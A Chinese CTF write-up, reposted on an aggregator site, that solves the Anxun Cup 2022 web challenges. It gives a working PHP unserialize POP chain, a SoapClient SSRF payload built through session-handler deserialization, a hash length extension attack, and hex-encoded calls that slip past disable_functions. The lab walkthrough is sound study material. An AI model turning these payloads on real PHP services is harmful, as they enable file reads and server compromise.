安洵杯 2022 复现

news2024/11/25 22:55:28

babyphp

知识点:原生类的利用,session 反序列化
<?php
//something in flag.php

class A
{
    public $a;
    public $b;

    public function __wakeup()
    {
        $this->a = "babyhacker";
    }

    public function __invoke()
    {
        if (isset($this->a) && $this->a == md5($this->a)) {
            $this->b->uwant();
        }
    }
}

class B
{
    public $a;
    public $b;
    public $k;

    function __destruct()
    {
        $this->b = $this->k;
        die($this->a);
    }
}

class C
{
    public $a;
    public $c;

    public function __toString()
    {
        $cc = $this->c;
        return $cc();
    }
    public function uwant()
    {
        if ($this->a == "phpinfo") {
            phpinfo();
        } else {
            call_user_func(array(reset($_SESSION), $this->a));
        }
    }
}


if (isset($_GET['d0g3'])) {
    ini_set($_GET['baby'], $_GET['d0g3']);
    session_start();
    $_SESSION['sess'] = $_POST['sess'];
}
else{
    session_start();
    if (isset($_POST["pop"])) {
        unserialize($_POST["pop"]);
    }
}
var_dump($_SESSION);
highlight_file(__FILE__);

链子很好构造

B:__destruct  =>  C:__toString  =>  A:__invoke  =>  C:uwant
<?php
class A{
	public $a;
    public $b;
}

class B
{
    public $a;
    public $b;
    public $k;
}
class C
{
    public $a;
    public $c;
}
$b = new B();
$c = new C();
$a = new A();
$b->a = $c;
$c->c = $a;
$a->a = '0e215962017';
$a->b = new C();
$a->b->a = 'succ3';
echo serialize($b);

增加属性绕过 __wakeup 即可

O:1:"B":3:{s:1:"a";O:1:"C":2:{s:1:"a";N;s:1:"c";O:1:"A":3:{s:1:"a";s:11:"0e215962017";s:1:"b";O:1:"C":2:{s:1:"a";s:5:"succ3";s:1:"c";N;}}}s:1:"b";N;s:1:"k";N;}

链子构造好了,那么里面的 call_user_func(array(reset($_SESSION), $this->a)); 该怎么用呢?

call_user_func(array($a, $b));
其中的$a要是一个类,$b为类中方法

我们看这一段:
d0g3 存在时,就可以写一个 post 值到 session 里,那么传什么值呢?

if (isset($_GET['d0g3'])) {
    ini_set($_GET['baby'], $_GET['d0g3']);
    session_start();
    $_SESSION['sess'] = $_POST['sess'];
}
else{
    session_start();
    if (isset($_POST["pop"])) {
        unserialize($_POST["pop"]);
    }
}
var_dump($_SESSION);

这边就要看 flag.php 了,很明显需要用 soapclient 原生类构造 get 数据来访问它。

<?php
session_start();
highlight_file(__FILE__);
//flag在根目录下
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
    $f1ag=implode(array(new $_GET['a']($_GET['b'])));
    $_SESSION["F1AG"]= $f1ag;
}else{
   echo "only localhost!!";
}

且在 flag.phpnew $_GET['a']($_GET['b']) 可以用原生来读取目录,也可以读取文件。
原生类详解处

那么我们是不是可以构造一个利用 soapclientget 方式在本地访问 flag.php 并传参的脚本,且在 flag.php 中会把值存入 session,那么我们是不是就可以通过 session 值来获取 flag 了,这边我就用一下 y4 大佬的脚本了。

<?php

$target = 'http://127.0.0.1/flag.php?a=SplFileObject&b=/f1111llllllaagg';
$post_string = 'data=dir';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'y4tacker^^'.join('^^',$headers),'uri' => "ssrf"));

$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
$a = str_replace('&','&',$a);
echo urlencode($a);

那么到这里思路一下子就清晰了,先利用 ini_set($_GET['baby'], $_GET['d0g3']);$_POST['sess'],设置 session 反序列化器为 php_serialize,这样的话我们把上面的 ssrf payload 传进去并在最前面加一个 |,在取出的时候由于 session 的默认反序列化器是 php 而造成反序列化漏洞。(session 反序列化介绍)

payload:

?d0g3=php_serialize&baby=session.serialize_handler
sess=|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22ssrf%22%3Bs%3A8%3A%22location%22%3Bs%3A60%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%3Fa%3DSplFileObject%26b%3D%2Ff1111llllllaagg%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A36%3A%22y4tacker%0D%0AX-Forwarded-For%3A+127.0.0.1%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

传入的时候可以看出,还是正常的。
在这里插入图片描述
当我们以默认 PHP 处理器来访问时,它就会解析,把 | 前面的当做键值,后面的反序列化,这边也就是一个 Soapclient 类,但如果想要触发 ssrf ,我们还要访问一个Soapclient 中不存在的方法,到这是不是恍然大悟了。

在这里插入图片描述
没错就是下面这句,前面的 reset($_SESSION) 也就是上图的 Soapclient$this->a 为方法名,那么是不是是要随便给 $this->a 附一个值就可以触发 ssrf 了。

call_user_func(array(reset($_SESSION), $this->a));

poc 链就是上面那个。

O:1:"B":3:{s:1:"a";O:1:"C":2:{s:1:"a";N;s:1:"c";O:1:"A":3:{s:1:"a";s:11:"0e215962017";s:1:"b";O:1:"C":2:{s:1:"a";s:5:"succ3";s:1:"c";N;}}}s:1:"b";N;s:1:"k";N;}

执行访问,会显示页面无法正常运作,因为这个 pop 链并没有形成闭合,最后没有 return 一个 String 来给B类的__toString() 方法我们只要重新访问一下页面就可以了。
在这里插入图片描述
可以看到本地的 session 值已经有了。接下来就是替换 session 值了。
在这里插入图片描述
成功获取 flag,对了 flag 文件的名字可以通过 DirectoryIterator 原生类来比配获得,其他操作一样。

http://127.0.0.1/flag.php?a=DirectoryIterator&b=glob:///f*

在这里插入图片描述

EZ_JS

知识点:哈希长度拓展攻击
<!--This secret is 7 characters long for security!
hash=md5(secret+"flag");//1946714cfa9deb70cc40bab32872f98a
admin cookie is   md5(secret+urldecode("flag%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00X%00%00%00%00%00%00%00dog"));
-->

利用 hashpump 工具,安装步骤如下:

git clone https://github.com/bwall/HashPump
apt-get install g++ libssl-dev
cd HashPump
make
make install

哈希长度拓展攻击

在这里插入图片描述
登录时看到如下图的 jsfuck 代码,放到 console 运行一下,注意前面的注释要删掉。
在这里插入图片描述
运行后会弹个框,告诉我们要 admin 大写。
在这里插入图片描述

在这里插入图片描述
一登进去就显示 flag,嗯~~?,啥情况,看了大佬的 wp,才发现原来访问 infoflllllag 是显示源码的,也不知道是哪位大佬这么牛。
在这里插入图片描述

var express = require('express');
var router = express.Router();
const isObject = obj = >obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) = >{
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}

const clone = (a) = >{
    return merge({},
    a);
}
router.get('/',
function(req, res, next) {
    if (req.flag == "flag") {
        flag;
        res.send('flag?????????????');
    }
    res.render('info');
});
router.post('/', express.json(),
function(req, res) {
    var str = req.body.id;
    var obj = JSON.parse(str);
    req.cookies.id = clone(obj);
    res.render('info');
});
module.exports = router;

eazyupload

知识点:原生类,echo 16 进制

师傅们牛笔

<?php
$payload = 'glob:///f*';
$final = '';
for($i=0;$i<strlen($payload);$i++){
    $final .= '\x'.bin2hex($payload[$i]);
}
echo $final;

没想到还可以这么干,用 16 进制。
在这里插入图片描述

<?php echo new DirectoryIterator("\x67\x6c\x6f\x62\x3a\x2f\x2f\x2f\x66\x2a");

在这里插入图片描述
通过 phpinfo 可以知道它 disable_function 的函数,fuzz 一下可以知道有哪些方法可用

<?php echo "\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"("/fl1111111111ag");

在这里插入图片描述
在这里插入图片描述

fuzz 脚本写的一般,师傅们如果有更好的方法,望推荐!!!

<?php
$array = get_defined_functions();
$fuzz = "....";//disable_function
$fuzz = str_replace(' ','',$fuzz);
foreach($array['internal'] as $arr){
	if(strpos($fuzz,$arr)!==false){
		continue;
	}else{
		echo $arr."\n";
	}
}

refercence

https://www.ctfiot.com/81036.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/42799.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

[附源码]SSM计算机毕业设计文章管理系统查重PPTJAVA

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

Java 多线程为啥要有ThreadLocal,怎么用,这篇讲全了!

前面我们学习的线程并发时的同步控制&#xff0c;是为了保证多个线程对共享数据争用时的正确性的。那如果一个操作本身不涉及对共享数据的使用&#xff0c;相反&#xff0c;只是希望变量只能由创建它的线程使用&#xff08;即线程隔离&#xff09;就需要到线程本地存储了。 Ja…

艾美捷曲妥珠单抗Trastuzumab化学性质和特异性说明

艾美捷曲妥珠单抗Trastuzumab是人源化IgG1κ单克隆抗体&#xff0c;其以高亲和力选择性结合人表皮生长因子受体2蛋白HER2的细胞外结构域。曲妥珠单抗通过重组DNA技术在哺乳动物细胞&#xff08;中国仓鼠卵巢&#xff09;中产生。 艾美捷曲妥珠单抗Trastuzumab化学性质&#xff…

[附源码]SSM计算机毕业设计鲜花销售管理系统JAVA

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

Set 集合概述与使用

目录 一、概述 1.特点&#xff1a; 2.方法&#xff1a; 二、Set接口的使用 三、Set实现类 1.HashSet *** &#xff08;1&#xff09;简单应用&#xff1a; &#xff08;2&#xff09;存储方式 2.TreeSet &#xff08;1&#xff09;红黑树 &#xff08;2&#xff09…

文件被删除怎么办?恢复数据,电脑小白也能操作!

平时保存文件&#xff0c;我们都会用到电脑、硬盘、U盘。但有时候&#xff0c;不可避免会出现一些状况&#xff0c;比如数据误删&#xff0c;或者格式化。恢复数据应该如何操作&#xff1f;可能你会觉得自己&#xff1a;我是电脑小白&#xff0c;太复杂的操作我不会。别担心下面…

realme手机用什么蓝牙耳机好?2022公认音质最好的蓝牙耳机

作为日常通话、健身、听歌必不可少的设备&#xff0c;蓝牙耳机已经逐渐替代了有线耳机&#xff0c;成为了城市居民日常生活中最常用的收听设备。随着技术的发展&#xff0c;蓝牙耳机的性能也会越来越接近用户的需要&#xff0c;下面分享几款realme手机适用并且音质清晰的蓝牙耳…

mini_batch学习

概念 学习的指标 如何得到所有学习数据的损失函数的总和 一个一个计算&#xff1f;如果数据量大的话&#xff0c;费时费力 太难受了吧 从训练数据中获取小数据mini-batch 对每个小数据进行批量学习 首先读入mnist数据集 import numpy as np# 实现从训练数据中随机选择指定…

uni-app的三种操作数据库方法

目录 前端与后端&#xff08;云端&#xff09;分离实现数据库的操作 1.使用云函数来操作数据库 2.使用云对象来操作数据库 前端与后端&#xff08;云端&#xff09;结合实现客户端操作数据库 3.使用DB Schema结构规范实现客户端对数据库的操作 欢迎大家关注&#xff1a; …

Cinemachine各组件功能介绍

官方Github地址&#xff1a;https://github.com/Unity-Technologies/com.unity.cinemachine/tree/main/com.unity.cinemachine 文档在Documentation~文件夹下。 这里主要介绍各个组件的功能&#xff0c;具体参数设置查阅文档即可。 目录 Brain Camera CinemachineVirtualC…

yolov5训练coco数据集

文章目录参考链接一、coco数据集1. 简介2. 下载3.解压后的数据4. COCO数据集(.json)训练格式转换成YOLO格式(.txt)参考链接 为YOLOv5搭建COCO数据集训练、验证和测试环境 CoCo数据集下载 一、coco数据集 1. 简介 MS COCO的全称是Microsoft Common Objects in Context&#…

前端甘特图组件开发(一)

背景 工作中需要在网页上实现甘特图&#xff0c;以展示进度数据。通过网上调研相关项目&#xff0c;找到一款 dhtmlx-gantt 组件&#xff0c;在低程度上满足项目需求&#xff0c;但在部分定制功能&#xff08;如时间轴自定义、编辑弹窗样式风格等&#xff09;并不能完全满足项…

PyCharm+PyQT5之一环境搭建

TOCPyCharmPyQT之一环境搭建 今天搭建了PyCharmPyQT之一环境&#xff0c;看到好多论坛和书籍在搭建Python环境时仍然不使用虚拟环境管理&#xff0c;这对今后环境的移植和保存是非常麻烦的&#xff0c;大家可以按以下思路管理环境。 1.先安装python3.8.2&#xff08;我用的win7…

【简单、高效、性能好】SetFit:无需Prompts的高效小样本学习

重磅推荐专栏&#xff1a; 《Transformers自然语言处理系列教程》 手把手带你深入实践Transformers&#xff0c;轻松构建属于自己的NLP智能应用&#xff01; 1. 概要 使用预训练语言模型的小样本学习&#xff08;处理只有少量标签或没有标签的数据&#xff09;已成为比较普遍的…

(附源码)计算机毕业设计Java大学生学科竞赛报名管理系统

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat8.5 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; Springboot mybatis Maven Vue 等等组成&#xff0c;B/…

【Java语言】Java类与对象的详细教程,一看就会

Java类与对象 文章目录Java类与对象1. 类与对象的初步认知2. 类和类的实例化3. 类的成员3.1 字段/属性/成员变量3.1.1认识 null3.1.2字段就地初始化3.2 方法 (method)3.3 static 关键字3.4方法调用易错区分4. 封装4.1 private实现封装4.2 getter和setter方法5.构造方法5.1 基本…

【密码学基础】Oblivious Transfer(不经意传输)

头一次开始学密码学相关的东西&#xff0c;未来的主要研究方向包括了隐私计算&#xff0c;即隐私保护下的机器学习算法。 0 举个实际的例子 引用博客OT&#xff08;Oblivious Transfer&#xff0c;不经意传输&#xff09;协议详解提到的例子&#xff0c;我们这里考虑1-out-of-…

美团应届生面试第一问:Object o = new Object()占用多少字节?

文章目录工具查看内存分配Java内存模型访问对象方式GC为什么Survivor要分为两个区域&#xff08;S0和S1&#xff09;&#xff1f;Survivor 为什么不分更多块呢&#xff1f;对象的生命周期小知识工具查看内存分配 Object o new Object();占用多少字节&#xff0c;我们借助open…

重要公告 | 论坛域名更换,请务必及时收藏

论坛的小伙伴们&#xff1a; 为进一步规范网站域名&#xff0c;自2022年11月16日起&#xff0c;“西门子低代码开发者论坛”的域名由&#xff1a;https://forum.mendix.tencent-cloud.com/&#xff0c;正式变更为&#xff1a;https://marketplace.siemens.com.cn/low-code-com…

Kamiya丨Kamiya艾美捷人和动物LBP ELISA说明书

Kamiya艾美捷人和动物LBP ELISA预期用途&#xff1a; 人和动物LBP ELISA已被开发用于定量测定天然和血清&#xff0c;血浆和培养基中的重组人LBP。也适用于牛&#xff0c;猪&#xff0c;兔和狗LBP。仅供研究使用。不用于诊断程序。 Kamiya艾美捷人和动物LBP ELISA原理&#xf…